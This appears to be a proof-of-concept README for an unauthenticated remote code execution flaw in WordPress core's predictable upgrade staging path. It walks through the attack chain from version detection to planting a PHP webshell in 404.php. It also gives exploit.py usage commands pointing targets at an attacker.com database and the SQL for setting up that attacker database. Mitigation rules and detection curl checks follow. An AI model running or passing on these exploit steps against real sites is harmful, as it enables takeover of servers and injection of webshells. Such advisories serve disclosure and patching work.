
WordPress Core RCE via Predictable Staging Path (CVSS 8.1)
Unauthenticated Remote Code Execution via Predictable Staging Path
| Field | Value |
|---|---|
| CVE | CVE-2026-119977 |
| CVSS | 8.1 High |
| CWE | CWE-425 (Direct Request), CWE-377 (Insecure Temp File) |
| Affected | WordPress 4.7.0 - 7.1.3 |
| Fixed | 7.1.4, 6.9.11, 6.8.12 (backports) |
| CISA KEV | Added Nov 3, 2026 |
| Vendor | Wordfence (CNA) |
During WordPress core updates, WP_Upgrader::unpack_package() in class-wp-upgrader.php extracts the update package to a predictable, web-accessible path:
wp-content/upgrade/wordpress-<version>/wordpress/
The staged copy is a complete WordPress installation without wp-config.php. This means:
wp-admin/setup-config.php runs without authenticationwp-admin/install.php is accessible1. Detect WordPress version (generator meta tag, feed, readme.html)
└── Version determines predictable staging path
2. Wait for or trigger upgrade window
└── Staging directory exists during update process
3. Access staged installer
└── wp-content/upgrade/wordpress-<version>/wordpress/wp-admin/setup-config.php
4. Point installer to attacker-controlled MySQL
└── Attacker prepares DB with admin credentials they control
5. Complete installation via staged copy
└── Creates admin account with attacker's credentials
6. Use Theme File Editor for RCE
└── Edit 404.php or other theme file to inject PHP webshell
7. Execute commands
└── /wp-content/themes/<theme>/404.php?c=whoami
WordPress 7.1.4 appends a random 16-character suffix to staging directory:
$working_dir = $upgrade_folder . wp_generate_password(16, false);
This makes the path unpredictable (62^16 keyspace).
pip install requests
# Scan for vulnerability
python3 exploit.py http://target.com --scan
# Monitor for upgrade window (5 minutes)
python3 exploit.py http://target.com --monitor --duration 300
# Full exploit (requires attacker MySQL server)
python3 exploit.py http://target.com --exploit \
--db-host attacker.com \
--db-user root \
--db-pass password \
--db-name wpexploit
# Exploit with monitoring
python3 exploit.py http://target.com --exploit --monitor \
--db-host attacker.com \
--db-user root \
--db-pass password
The exploit requires an attacker-controlled MySQL server reachable from the target:
# On attacker machine
mysql -u root -p
CREATE DATABASE wpexploit;
CREATE USER 'wpexploit'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON wpexploit.* TO 'wpexploit'@'%';
FLUSH PRIVILEGES;
# Ensure MySQL allows remote connections
# Edit my.cnf: bind-address = 0.0.0.0
Apache (.htaccess in wp-content/upgrade/):
<Files *>
Require all denied
</Files>
Nginx:
location /wp-content/upgrade/ {
deny all;
}
wp core update --version=7.1.4
curl -s http://target.com/ | grep -oP 'WordPress [0-9.]+'
curl -s http://target.com/feed/ | grep -oP 'v=[0-9.]+'
curl -s http://target.com/wp-content/upgrade/
curl -s "http://target.com/wp-content/upgrade/wordpress-7.1.3/wordpress/wp-admin/setup-config.php"
| Date | Event |
|---|---|
| Oct 28, 2026 | First exploitation attempts detected |
| Nov 3, 2026 | Added to CISA KEV |
| Nov 4, 2026 | Public PoC released |
| Nov 6, 2026 | Federal remediation deadline |